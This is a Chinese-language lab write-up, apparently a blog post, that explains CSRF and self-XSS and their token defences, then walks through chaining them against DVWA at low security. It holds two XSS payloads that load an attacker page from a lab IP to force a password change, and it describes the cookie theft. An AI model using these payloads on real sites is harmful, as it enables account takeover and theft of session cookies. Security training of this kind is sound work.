CSRF漏洞
产生原因:由于服务器未对客户端用户正确的身份校验,导致用户可以任意提交文件
防御:加上身份校验,添加token值
cookie的token值进行防御。
在注册用户的时候服务器会生成token。
短链接是可以隐藏网站真正目的,比如把修改密码网站改为短链接就看不出来了。为此csrf漏洞就用户点击就被改密码了
Self XSS
selfxss,顾名思义,自己输入xss脚本,输出仅自己看到,仅xss到自己。
document.cookie 获取cookie值
因为登录的是自己的用户使用这个命令就将只获取自己的cookie值。
如此我们认为这个很鸡肋如同废物一般的操作,为此想要把selfxss变废为宝就需要加上csrf。
当我我们发现传输中有一个CSRF的漏洞,传输没有带上token值。我们就可以两者利用,使用CSRF来构造一个form表单,在form表单中写上selfxss的地址【存储型xss,把地址存入数据库】。当他人点击CSRF给的链接的适合就会执行一次selfxss命令并且获取到cookie。
DVWA对CSRF +self xss的运用
靶场环境与工具
本机:win10
DVWA:安装在本机
BEEF:安装在kali
工具:OWASP CSRFester
DVWA的安全等级设置为:LOW
1、使用工具创建恶意网页
输入但是不点击change因为要工具抓取
修改代理服务器为8008抓取数据包【点击start】
点击change
抓取到修改后信息后点stop停止抓取。
将参数填入点击change后生成html。
生成的html
![在这里插入图片描述](https://img-blog.csdnimg.cn/900e0c5c9ffc4daba94e3cb8c9110fe5.png)修改表单值得到恶意页面
输入构造语句,为因为输入内容字符长被限制。进行修改
关闭代理
2、构造xss语句
<script src="192.168.56.1/demo.html"></script>
录入到数据库刷新重新登录使用654321登录
登录失败。我们采用123456密码是成功登录了。没有修改密码。如此重新登录,密码还是123456,进行失败原因待查证
3、构造第二种xss语句
<script src="x"
onerror=javascript:window.open("http://172.16.10.62/demo.html")>
</script>
录入后自动跳转修改了密码
刷新登录密码已经变成了654321